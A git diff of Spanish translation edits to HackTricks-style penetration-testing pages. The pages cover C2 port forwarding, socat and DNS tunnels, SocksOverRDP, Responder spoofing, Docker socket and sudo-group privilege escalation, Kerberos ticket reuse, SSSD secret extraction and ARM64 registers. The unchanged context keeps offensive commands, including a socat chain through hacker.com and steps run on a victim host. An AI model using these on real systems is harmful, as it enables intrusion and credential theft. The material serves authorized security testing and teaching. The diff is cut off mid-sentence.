incluyendo enlaces P2P. -- **No se requieren privilegios de administrador** para crear reenvíos de puerto reversos en puertos altos. +- La reversa de puerto de Beacon está diseñada para **túnel tráfico al Servidor del Equipo, no para retransmitir entre máquinas individuales**. +- El tráfico está **tuneleado dentro del tráfico C2 de Beacon**, incluyendo enlaces P2P. +- **No se requieren privilegios de administrador** para crear reenvíos de puerto reverso en puertos altos. ### rPort2Port local > [!WARNING] -> En este caso, el **puerto se abre en el host de beacon**, no en el Servidor de Equipo y el **tráfico se envía al cliente de Cobalt Strike** (no al Servidor de Equipo) y desde allí al host:puerto indicado. -``` +> En este caso, el **puerto se abre en el host de beacon**, no en el Servidor del Equipo y el **tráfico se envía al cliente de Cobalt Strike** (no al Servidor del Equipo) y desde allí al host:puerto indicado. +```bash rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` @@ -195,7 +195,7 @@ Necesitas usar la **misma versión para el cliente y el servidor** [https://github.com/nicocha30/ligolo-ng](https://github.com/nicocha30/ligolo-ng) -**Utiliza la misma versión para el agente y el proxy** +**Usa la misma versión para el agente y el proxy** ### Tunneling ```bash @@ -290,9 +290,11 @@ Puedes eludir un **proxy no autenticado** ejecutando esta línea en lugar de la ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` -### SSL Socat Tunnel +[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) -**/bin/sh console** +### Túnel SSL Socat + +**/bin/sh consola** Cree certificados en ambos lados: Cliente y Servidor ```bash @@ -344,7 +346,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 Necesitas tener **acceso RDP sobre el sistema**.\ Descargar: -1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Esta herramienta utiliza `Dynamic Virtual Channels` (`DVC`) de la función de Servicio de Escritorio Remoto de Windows. DVC es responsable de **túnelizar paquetes sobre la conexión RDP**. +1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Esta herramienta utiliza `Dynamic Virtual Channels` (`DVC`) de la función de Servicio de Escritorio Remoto de Windows. DVC es responsable de **túnel de paquetes sobre la conexión RDP**. 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) En tu computadora cliente carga **`SocksOverRDP-Plugin.dll`** así: @@ -352,9 +354,9 @@ En tu computadora cliente carga **`SocksOverRDP-Plugin.dll`** así: # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` -Ahora podemos **conectar** a la **víctima** a través de **RDP** usando **`mstsc.exe`**, y deberíamos recibir un **mensaje** diciendo que el **plugin SocksOverRDP está habilitado**, y escuchará en **127.0.0.1:1080**. +Ahora podemos **connect** a la **victim** a través de **RDP** usando **`mstsc.exe`**, y deberíamos recibir un **prompt** que dice que el **SocksOverRDP plugin is enabled**, y estará **listen** en **127.0.0.1:1080**. -**Conéctate** a través de **RDP** y sube y ejecuta en la máquina de la víctima el binario `SocksOverRDP-Server.exe`: +**Connect** a través de **RDP** y sube y ejecuta en la máquina de la víctima el binario `SocksOverRDP-Server.exe`: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` @@ -403,7 +405,7 @@ Un proxy inverso creado por Microsoft. Puedes encontrarlo aquí: [https://github [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) -Se necesita root en ambos sistemas para crear adaptadores tun y túnel de datos entre ellos utilizando consultas DNS. +Se necesita root en ambos sistemas para crear adaptadores tun y túneles de datos entre ellos utilizando consultas DNS. ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r @@ -478,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1 ## ngrok [**ngrok**](https://ngrok.com/) **es una herramienta para exponer soluciones a Internet en una línea de comando.**\ -_URI de exposición son como:_ **UID.ngrok.io** +_La URI de exposición es como:_ **UID.ngrok.io** ### Instalación diff --git a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index 44d7c32b4..90474a76d 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -7,7 +7,7 @@ ### Protocolos de Resolución de Host Local - **LLMNR, NBT-NS y mDNS**: -- Microsoft y otros sistemas operativos utilizan LLMNR y NBT-NS para la resolución de nombres locales cuando DNS falla. De manera similar, los sistemas de Apple y Linux utilizan mDNS. +- Microsoft y otros sistemas operativos utilizan LLMNR y NBT-NS para la resolución de nombres local cuando DNS falla. De manera similar, los sistemas de Apple y Linux utilizan mDNS. - Estos protocolos son susceptibles a la interceptación y suplantación debido a su naturaleza no autenticada y de difusión sobre UDP. - [Responder](https://github.com/lgandx/Responder) se puede utilizar para suplantar servicios enviando respuestas falsificadas a hosts que consultan estos protocolos. - Más información sobre la suplantación de servicios utilizando Responder se puede encontrar [aquí](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). @@ -44,16 +44,16 @@ ### Capturando Credenciales con Responder - Responder suplantará servicios utilizando los protocolos mencionados anteriormente, capturando credenciales (generalmente NTLMv2 Challenge/Response) cuando un usuario intente autenticarse contra los servicios suplantados. -- Se pueden hacer intentos para degradar a NetNTLMv1 o desactivar ESS para un cracking de credenciales más fácil. +- Se pueden hacer intentos para degradar a NetNTLMv1 o deshabilitar ESS para un cracking de credenciales más fácil. -Es crucial notar que el uso de estas técnicas debe hacerse de manera legal y ética, asegurando la debida autorización y evitando interrupciones o accesos no autorizados. +Es crucial notar que el uso de estas técnicas debe hacerse de manera legal y ética, asegurando la autorización adecuada y evitando interrupciones o accesos no autorizados. ## Inveigh Inveigh es una herramienta para testers de penetración y equipos rojos, diseñada para sistemas Windows. Ofrece funcionalidades similares a Responder, realizando suplantaciones y ataques de hombre en el medio. La herramienta ha evolucionado de un script de PowerShell a un binario en C#, con [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) y [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) como las versiones principales. Parámetros e instrucciones detalladas se pueden encontrar en la [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters). Inveigh se puede operar a través de PowerShell: -```powershell +```bash Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y ``` O ejecutado como un binario de C#: @@ -89,7 +89,7 @@ beacon> socks stop ``` ### Otras Herramientas para el Ataque de Relevo NTLM -- **Metasploit**: Configurado con proxies, detalles de hosts locales y remotos. +- **Metasploit**: Configurado con proxies, detalles de host locales y remotos. - **smbrelayx**: Un script de Python para relajar sesiones SMB y ejecutar comandos o desplegar puertas traseras. - **MultiRelay**: Una herramienta del conjunto Responder para relajar usuarios específicos o todos los usuarios, ejecutar comandos o volcar hashes. diff --git a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index 712c3f49c..6424985d6 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -20,12 +20,12 @@ También podrías **abusar de un mount para escalar privilegios** dentro del con - `--userns=host` - `--uts=host` - `--cgroupns=host` -- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Esto es similar al método anterior, pero aquí estamos **montando el disco del dispositivo**. Luego, dentro del contenedor ejecuta `mount /dev/sda1 /mnt` y puedes **acceder** al **sistema de archivos del host** en `/mnt` +- **`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined`** -> Esto es similar al método anterior, pero aquí estamos **montando el disco del dispositivo**. Luego, dentro del contenedor ejecuta `mount /dev/sda1 /mnt` y puedes **acceder** al **sistema de archivos del host** en `/mnt` - Ejecuta `fdisk -l` en el host para encontrar el dispositivo `` para montar - **`-v /tmp:/host`** -> Si por alguna razón solo puedes **montar algún directorio** del host y tienes acceso dentro del host. Móntalo y crea un **`/bin/bash`** con **suid** en el directorio montado para que puedas **ejecutarlo desde el host y escalar a root**. > [!NOTE] -> Ten en cuenta que tal vez no puedas montar la carpeta `/tmp` pero puedes montar una **carpeta escribible diferente**. Puedes encontrar directorios escribibles usando: `find / -writable -type d 2>/dev/null` +> Ten en cuenta que tal vez no puedas montar la carpeta `/tmp`, pero puedes montar una **carpeta diferente escribible**. Puedes encontrar directorios escribibles usando: `find / -writable -type d 2>/dev/null` > > **¡Ten en cuenta que no todos los directorios en una máquina linux soportarán el bit suid!** Para verificar qué directorios soportan el bit suid ejecuta `mount | grep -v "nosuid"` Por ejemplo, generalmente `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` y `/var/lib/lxcfs` no soportan el bit suid. > diff --git a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md index f118342b2..469216f13 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md +++ b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## What is Distroless +## Qué es Distroless Un contenedor distroless es un tipo de contenedor que **contiene solo las dependencias necesarias para ejecutar una aplicación específica**, sin ningún software o herramienta adicional que no sea requerida. Estos contenedores están diseñados para ser lo más **ligeros** y **seguros** posible, y su objetivo es **minimizar la superficie de ataque** al eliminar cualquier componente innecesario. @@ -17,14 +17,14 @@ Algunos **ejemplos** de **contenedores distroless** son: El objetivo de armar un contenedor distroless es poder **ejecutar binarios y cargas útiles arbitrarias incluso con las limitaciones** implicadas por **distroless** (falta de binarios comunes en el sistema) y también protecciones comúnmente encontradas en contenedores como **solo lectura** o **sin ejecución** en `/dev/shm`. -### Through memory +### A través de la memoria Llegando en algún momento de 2023... -### Via Existing binaries +### A través de binarios existentes #### openssl -\***\*[**En esta publicación,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) se explica que el binario **`openssl`** se encuentra frecuentemente en estos contenedores, potencialmente porque es **necesario\*\* por el software que se va a ejecutar dentro del contenedor. +\***\*[**En esta publicación,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) se explica que el binario **`openssl`** se encuentra frecuentemente en estos contenedores, potencialmente porque es **necesario** para el software que se va a ejecutar dentro del contenedor. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 14841e260..693d53f5d 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -6,7 +6,7 @@ ### **PE - Método 1** -**A veces**, **por defecto (o porque algún software lo necesita)** dentro del **/etc/sudoers** archivo puedes encontrar algunas de estas líneas: +**A veces**, **por defecto (o porque algún software lo necesita)** dentro del **/etc/sudoers** puedes encontrar algunas de estas líneas: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -16,7 +16,7 @@ ``` Esto significa que **cualquier usuario que pertenezca al grupo sudo o admin puede ejecutar cualquier cosa como sudo**. -Si este es el caso, para **convertirse en root solo puedes ejecutar**: +Si este es el caso, para **convertirse en root, solo puede ejecutar**: ``` sudo su ``` @@ -62,7 +62,7 @@ pkttyagent --process #Step 2, attach pkttyagent to session1 ``` Esto significa que **cualquier usuario que pertenezca al grupo wheel puede ejecutar cualquier cosa como sudo**. -Si este es el caso, para **convertirse en root solo puedes ejecutar**: +Si este es el caso, para **convertirse en root, solo puede ejecutar**: ``` sudo su ``` @@ -163,7 +163,7 @@ El **grupo de video** tiene acceso para ver la salida de la pantalla. Básicamen cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` -Para **abrir** la **imagen en bruto**, puedes usar **GIMP**, seleccionar el archivo **`screen.raw`** y seleccionar como tipo de archivo **Datos de imagen en bruto**: +Para **abrir** la **imagen en bruto** puedes usar **GIMP**, seleccionar el archivo **`screen.raw`** y elegir como tipo de archivo **Datos de imagen en bruto**: ![](<../../../images/image (463).png>) diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index 0acbeb9a1..7793106e7 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -20,7 +20,7 @@ También puedes consultar la siguiente página para aprender **otras formas de e ### FreeIPA -FreeIPA es una **alternativa** de código abierto a Microsoft Windows **Active Directory**, principalmente para entornos **Unix**. Combina un **directorio LDAP** completo con un centro de distribución de claves **Kerberos** de MIT para la gestión similar a Active Directory. Utiliza el **Sistema de Certificados Dogtag** para la gestión de certificados CA y RA, y admite autenticación **multifactor**, incluyendo tarjetas inteligentes. SSSD está integrado para procesos de autenticación Unix. Aprende más sobre ello en: +FreeIPA es una **alternativa** de código abierto a **Active Directory** de Microsoft, principalmente para entornos **Unix**. Combina un **directorio LDAP** completo con un Centro de Distribución de Claves **Kerberos** de MIT para la gestión similar a Active Directory. Utiliza el **Sistema de Certificados** Dogtag para la gestión de certificados CA y RA, y admite autenticación **multifactor** que incluye tarjetas inteligentes. SSSD está integrado para procesos de autenticación Unix. Aprende más sobre ello en: {{#ref}} ../freeipa-pentesting.md @@ -38,7 +38,7 @@ En esta página encontrarás diferentes lugares donde podrías **encontrar ticke ### Reutilización de tickets CCACHE desde /tmp -Los archivos CCACHE son formatos binarios para **almacenar credenciales Kerberos** que generalmente se almacenan con permisos 600 en `/tmp`. Estos archivos pueden ser identificados por su **formato de nombre, `krb5cc_%{uid}`,** que corresponde al UID del usuario. Para la verificación del ticket de autenticación, la **variable de entorno `KRB5CCNAME`** debe establecerse en la ruta del archivo de ticket deseado, permitiendo su reutilización. +Los archivos CCACHE son formatos binarios para **almacenar credenciales Kerberos** que generalmente se almacenan con permisos 600 en `/tmp`. Estos archivos pueden ser identificados por su **formato de nombre, `krb5cc_%{uid}`,** que se correlaciona con el UID del usuario. Para la verificación del ticket de autenticación, la **variable de entorno `KRB5CCNAME`** debe establecerse en la ruta del archivo de ticket deseado, permitiendo su reutilización. Lista el ticket actual utilizado para la autenticación con `env | grep KRB5CCNAME`. El formato es portátil y el ticket puede ser **reutilizado configurando la variable de entorno** con `export KRB5CCNAME=/tmp/ticket.ccache`. El formato del nombre del ticket Kerberos es `krb5cc_%{uid}` donde uid es el UID del usuario. ```bash @@ -51,7 +51,7 @@ export KRB5CCNAME=/tmp/krb5cc_1000 ``` ### Reutilización de tickets CCACHE desde el keyring -**Los tickets de Kerberos almacenados en la memoria de un proceso pueden ser extraídos**, particularmente cuando la protección ptrace de la máquina está deshabilitada (`/proc/sys/kernel/yama/ptrace_scope`). Una herramienta útil para este propósito se encuentra en [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), que facilita la extracción inyectando en sesiones y volcando tickets en `/tmp`. +**Los tickets de Kerberos almacenados en la memoria de un proceso pueden ser extraídos**, particularmente cuando la protección ptrace de la máquina está desactivada (`/proc/sys/kernel/yama/ptrace_scope`). Una herramienta útil para este propósito se encuentra en [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), que facilita la extracción al inyectar en sesiones y volcar tickets en `/tmp`. Para configurar y usar esta herramienta, se siguen los pasos a continuación: ```bash @@ -66,7 +66,7 @@ Este procedimiento intentará inyectar en varias sesiones, indicando el éxito a SSSD mantiene una copia de la base de datos en la ruta `/var/lib/sss/secrets/secrets.ldb`. La clave correspondiente se almacena como un archivo oculto en la ruta `/var/lib/sss/secrets/.secrets.mkey`. Por defecto, la clave solo es legible si tienes permisos de **root**. -Invocar \*\*`SSSDKCMExtractor` \*\* con los parámetros --database y --key analizará la base de datos y **desencriptará los secretos**. +Invocar **`SSSDKCMExtractor`** con los parámetros --database y --key analizará la base de datos y **desencriptará los secretos**. ```bash git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index 32441a53b..81e2bb1f8 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -6,16 +6,16 @@ En la arquitectura ARMv8, los niveles de ejecución, conocidos como Niveles de Excepción (ELs), definen el nivel de privilegio y las capacidades del entorno de ejecución. Hay cuatro niveles de excepción, que van de EL0 a EL3, cada uno con un propósito diferente: -1. **EL0 - Modo Usuario**: +1. **EL0 - Modo de Usuario**: - Este es el nivel menos privilegiado y se utiliza para ejecutar código de aplicación regular. - Las aplicaciones que se ejecutan en EL0 están aisladas entre sí y del software del sistema, mejorando la seguridad y la estabilidad. -2. **EL1 - Modo Núcleo del Sistema Operativo**: +2. **EL1 - Modo del Núcleo del Sistema Operativo**: - La mayoría de los núcleos de sistemas operativos se ejecutan en este nivel. - EL1 tiene más privilegios que EL0 y puede acceder a recursos del sistema, pero con algunas restricciones para garantizar la integridad del sistema. -3. **EL2 - Modo Hipervisor**: +3. **EL2 - Modo de Hipervisor**: - Este nivel se utiliza para la virtualización. Un hipervisor que se ejecuta en EL2 puede gestionar múltiples sistemas operativos (cada uno en su propio EL1) que se ejecutan en el mismo hardware físico. - EL2 proporciona características para el aislamiento y control de los entornos virtualizados. -4. **EL3 - Modo Monitor Seguro**: +4. **EL3 - Modo de Monitor Seguro**: - Este es el nivel más privilegiado y se utiliza a menudo para el arranque seguro y entornos de ejecución confiables. - EL3 puede gestionar y controlar accesos entre estados seguros y no seguros (como arranque seguro, OS confiable, etc.). @@ -23,31 +23,31 @@ El uso de estos niveles permite una forma estructurada y segura de gestionar dif ## **Registros (ARM64v8)** -ARM64 tiene **31 registros de propósito general**, etiquetados de `x0` a `x30`. Cada uno puede almacenar un valor de **64 bits** (8 bytes). Para operaciones que requieren solo valores de 32 bits, los mismos registros se pueden acceder en un modo de 32 bits usando los nombres w0 a w30. +ARM64 tiene **31 registros de propósito general**, etiquetados de `x0` a `x30`. Cada uno puede almacenar un **valor de 64 bits** (8 bytes). Para operaciones que requieren solo valores de 32 bits, los mismos registros se pueden acceder en un modo de 32 bits utilizando los nombres w0 a w30. 1. **`x0`** a **`x7`** - Estos se utilizan típicamente como registros temporales y para pasar parámetros a subrutinas. - **`x0`** también lleva los datos de retorno de una función. -2. **`x8`** - En el núcleo de Linux, `x8` se utiliza como el número de llamada al sistema para la instrucción `svc`. **¡En macOS, el que se usa es x16!** +2. **`x8`** - En el núcleo de Linux, `x8` se utiliza como el número de llamada al sistema para la instrucción `svc`. **¡En macOS, el que se utiliza es x16!** 3. **`x9`** a **`x15`** - Más registros temporales, a menudo utilizados para variables locales. 4. **`x16`** y **`x17`** - **Registros de Llamada Intra-procedimental**. Registros temporales para valores inmediatos. También se utilizan para llamadas a funciones indirectas y stubs de PLT (Tabla de Enlace de Procedimientos). - **`x16`** se utiliza como el **número de llamada al sistema** para la instrucción **`svc`** en **macOS**. 5. **`x18`** - **Registro de Plataforma**. Puede ser utilizado como un registro de propósito general, pero en algunas plataformas, este registro está reservado para usos específicos de la plataforma: Puntero al bloque de entorno de hilo local en Windows, o para apuntar a la **estructura de tarea actualmente ejecutándose en el núcleo de Linux**. 6. **`x19`** a **`x28`** - Estos son registros guardados por el llamado. Una función debe preservar los valores de estos registros para su llamador, por lo que se almacenan en la pila y se recuperan antes de volver al llamador. -7. **`x29`** - **Puntero de Marco** para hacer un seguimiento del marco de la pila. Cuando se crea un nuevo marco de pila porque se llama a una función, el registro **`x29`** se **almacena en la pila** y la dirección del **nuevo** puntero de marco (dirección **`sp`**) se **almacena en este registro**. +7. **`x29`** - **Puntero de Marco** para hacer un seguimiento del marco de la pila. Cuando se crea un nuevo marco de pila porque se llama a una función, el registro **`x29`** se **almacena en la pila** y la **nueva** dirección del puntero de marco es (**`sp`** dirección) se **almacena en este registro**. - Este registro también puede ser utilizado como un **registro de propósito general**, aunque generalmente se usa como referencia a **variables locales**. 8. **`x30`** o **`lr`** - **Registro de Enlace**. Contiene la **dirección de retorno** cuando se ejecuta una instrucción `BL` (Branch with Link) o `BLR` (Branch with Link to Register) almacenando el valor de **`pc`** en este registro. - También podría ser utilizado como cualquier otro registro. - Si la función actual va a llamar a una nueva función y, por lo tanto, sobrescribir `lr`, lo almacenará en la pila al principio, este es el epílogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Almacenar `fp` y `lr`, generar espacio y obtener nuevo `fp`) y lo recuperará al final, este es el prólogo (`ldp x29, x30, [sp], #48; ret` -> Recuperar `fp` y `lr` y retornar). 9. **`sp`** - **Puntero de Pila**, utilizado para hacer un seguimiento de la parte superior de la pila. - El valor de **`sp`** siempre debe mantenerse con al menos una **alineación de cuádruple palabra** o puede ocurrir una excepción de alineación. -10. **`pc`** - **Contador de Programa**, que apunta a la siguiente instrucción. Este registro solo puede ser actualizado a través de generaciones de excepciones, retornos de excepciones y saltos. Las únicas instrucciones ordinarias que pueden leer este registro son las instrucciones de salto con enlace (BL, BLR) para almacenar la dirección **`pc`** en **`lr`** (Registro de Enlace). -11. **`xzr`** - **Registro Cero**. También se llama **`wzr`** en su forma de registro de **32** bits. Puede ser utilizado para obtener fácilmente el valor cero (operación común) o para realizar comparaciones usando **`subs`** como **`subs XZR, Xn, #10`** almacenando los datos resultantes en ningún lado (en **`xzr`**). +10. **`pc`** - **Contador de Programa**, que apunta a la siguiente instrucción. Este registro solo puede ser actualizado a través de la generación de excepciones, retornos de excepciones y saltos. Las únicas instrucciones ordinarias que pueden leer este registro son las instrucciones de salto con enlace (BL, BLR) para almacenar la dirección **`pc`** en **`lr`** (Registro de Enlace). +11. **`xzr`** - **Registro Cero**. También llamado **`wzr`** en su forma de registro de **32** bits. Puede ser utilizado para obtener el valor cero fácilmente (operación común) o para realizar comparaciones utilizando **`subs`** como **`subs XZR, Xn, #10`** almacenando los datos resultantes en ningún lado (en **`xzr`**). Los registros **`Wn`** son la versión de **32 bits** del registro **`Xn`**. ### Registros SIMD y de Punto Flotante -Además, hay otros **32 registros de 128 bits** que pueden ser utilizados en operaciones optimizadas de múltiples datos de instrucción única (SIMD) y para realizar aritmética de punto flotante. Estos se llaman registros Vn, aunque también pueden operar en **64** bits, **32** bits, **16** bits y **8** bits y entonces se llaman **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** y **`Bn`**. +Además, hay otros **32 registros de longitud 128 bits** que pueden ser utilizados en operaciones optimizadas de datos múltiples de una sola instrucción (SIMD) y para realizar aritmética de punto flotante. Estos se llaman registros Vn, aunque también pueden operar en **64** bits, **32** bits, **16** bits y **8** bits y luego se llaman **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** y **`Bn`**. ### Registros del Sistema @@ -62,15 +62,15 @@ A menudo se utilizan para almacenar la **dirección base de la región de almace ### **PSTATE** -**PSTATE** contiene varios componentes del proceso serializados en el registro especial visible para el sistema operativo **`SPSR_ELx`**, siendo X el **nivel de permiso** **del** excepción desencadenada (esto permite recuperar el estado del proceso cuando la excepción termina).\ +**PSTATE** contiene varios componentes del proceso serializados en el registro especial visible para el sistema operativo **`SPSR_ELx`**, siendo X el **nivel de permiso** **del nivel de excepción** que se activó (esto permite recuperar el estado del proceso cuando la excepción termina).\ Estos son los campos accesibles:
-- Las **banderas de condición `N`**, `Z`, `C` y `V`: +- Las **banderas de condición `N`**, **`Z`**, **`C`** y **`V`**: - **`N`** significa que la operación produjo un resultado negativo. - **`Z`** significa que la operación produjo cero. -- **`C`** significa que la operación llevó. +- **`C`** significa que la operación tuvo acarreo. - **`V`** significa que la operación produjo un desbordamiento con signo: - La suma de dos números positivos produce un resultado negativo. - La suma de dos números negativos produce un resultado positivo. @@ -83,14 +83,14 @@ Estos son los campos accesibles: - La **bandera de ancho de registro actual (`nRW`)**: Si la bandera tiene el valor 0, el programa se ejecutará en el estado de ejecución AArch64 una vez reanudado. - El **Nivel de Excepción** (**`EL`**): Un programa regular que se ejecuta en EL0 tendrá el valor 0. - La **bandera de paso único** (**`SS`**): Utilizada por depuradores para realizar un paso único configurando la bandera SS a 1 dentro de **`SPSR_ELx`** a través de una excepción. El programa ejecutará un paso y emitirá una excepción de paso único. -- La **bandera de estado de excepción ilegal** (**`IL`**): Se utiliza para marcar cuando un software privilegiado realiza una transferencia de nivel de excepción inválida, esta bandera se establece en 1 y el procesador desencadena una excepción de estado ilegal. -- Las **banderas `DAIF`**: Estas banderas permiten a un programa privilegiado enmascarar selectivamente ciertas excepciones externas. -- Si **`A`** es 1, significa que se desencadenarán **abortos asíncronos**. La **`I`** configura la respuesta a las **Solicitudes de Interrupción de Hardware** (IRQ). y la F está relacionada con las **Solicitudes de Interrupción Rápida** (FIR). -- Las **banderas de selección de puntero de pila** (**`SPS`**): Los programas privilegiados que se ejecutan en EL1 y superiores pueden alternar entre usar su propio registro de puntero de pila y el de modelo de usuario (por ejemplo, entre `SP_EL1` y `EL0`). Este cambio se realiza escribiendo en el registro especial **`SPSel`**. Esto no se puede hacer desde EL0. +- La **bandera de estado de excepción ilegal** (**`IL`**): Se utiliza para marcar cuando un software privilegiado realiza una transferencia de nivel de excepción inválida, esta bandera se establece en 1 y el procesador activa una excepción de estado ilegal. +- Las banderas **`DAIF`**: Estas banderas permiten a un programa privilegiado enmascarar selectivamente ciertas excepciones externas. +- Si **`A`** es 1, significa que se activarán **abortos asíncronos**. La **`I`** configura la respuesta a las **Solicitudes de Interrupción de Hardware** (IRQ). y la F está relacionada con **Solicitudes de Interrupción Rápida** (FIR). +- Las banderas de selección de puntero de pila (**`SPS`**): Los programas privilegiados que se ejecutan en EL1 y superiores pueden alternar entre usar su propio registro de puntero de pila y el de modelo de usuario (por ejemplo, entre `SP_EL1` y `EL0`). Este cambio se realiza escribiendo en el registro especial **`SPSel`**. Esto no se puede hacer desde EL0. ## **Convención de Llamadas (ARM64v8)** -La convención de llamadas ARM64 especifica que los **primeros ocho parámetros** a una función se pasan en los registros **`x0` a `x7`**. Los **parámetros adicionales** se pasan en la **pila**. El **valor de retorno** se pasa de vuelta en el registro **`x0`**, o en **`x1`** también **si tiene 128 bits de largo**. Los registros **`x19`** a **`x30`** y **`sp`** deben ser **preservados** a través de las llamadas a funciones. +La convención de llamadas ARM64 especifica que los **primeros ocho parámetros** a una función se pasan en los registros **`x0` a `x7`**. Los **parámetros adicionales** se pasan en la **pila**. El **valor de retorno** se pasa de vuelta en el registro **`x0`**, o en **`x1`** también **si tiene 128 bits de longitud**. Los registros **`x19`** a **`x30`** y **`sp`** deben ser **preservados** a través de las llamadas a funciones. Al leer una función en ensamblador, busque el **prólogo y epílogo de la función**. El **prólogo** generalmente implica **guardar el puntero de marco (`x29`)**, **configurar** un **nuevo puntero de marco**, y **asignar espacio en la pila**. El **epílogo** generalmente implica **restaurar el puntero de marco guardado** y **retornar** de la función. @@ -100,7 +100,7 @@ Swift tiene su propia **convención de llamadas** que se puede encontrar en [**h ## **Instrucciones Comunes (ARM64v8)** -Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2`**, donde **`opcode`** es la **operación** a realizar (como `add`, `sub`, `mov`, etc.), **`dst`** es el **registro de destino** donde se almacenará el resultado, y **`src1`** y **`src2`** son los **registros de origen**. También se pueden usar valores inmediatos en lugar de registros de origen. +Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2`**, donde **`opcode`** es la **operación** que se va a realizar (como `add`, `sub`, `mov`, etc.), **`dst`** es el **registro de destino** donde se almacenará el resultado, y **`src1`** y **`src2`** son los **registros de origen**. También se pueden utilizar valores inmediatos en lugar de registros de origen. - **`mov`**: **Mover** un valor de un **registro** a otro. - Ejemplo: `mov x0, x1` — Esto mueve el valor de `x1` a `x0`. @@ -115,7 +115,7 @@ Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2 - **Modo post-indexado**: Esto es como el anterior, pero se accede a la dirección de memoria y luego se calcula y almacena el desplazamiento. - `ldr x0, [x1], #8`, carga `x1` en `x0` y actualiza x1 con `x1 + 8`. - **Dirección relativa al PC**: En este caso, la dirección a cargar se calcula en relación con el registro PC. -- `ldr x1, =_start`, Esto cargará la dirección donde comienza el símbolo `_start` en x1 relacionado con el PC actual. +- `ldr x1, =_start`, Esto cargará la dirección donde comienza el símbolo `_start` en x1 en relación con el PC actual. - **`str`**: **Almacenar** un valor de un **registro** en **memoria**. - Ejemplo: `str x0, [x1]` — Esto almacena el valor en `x0` en la ubicación de memoria apuntada por `x1`. - **`ldp`**: **Cargar Par de Registros**. Esta instrucción **carga dos registros** desde **ubicaciones de memoria** consecutivas. La 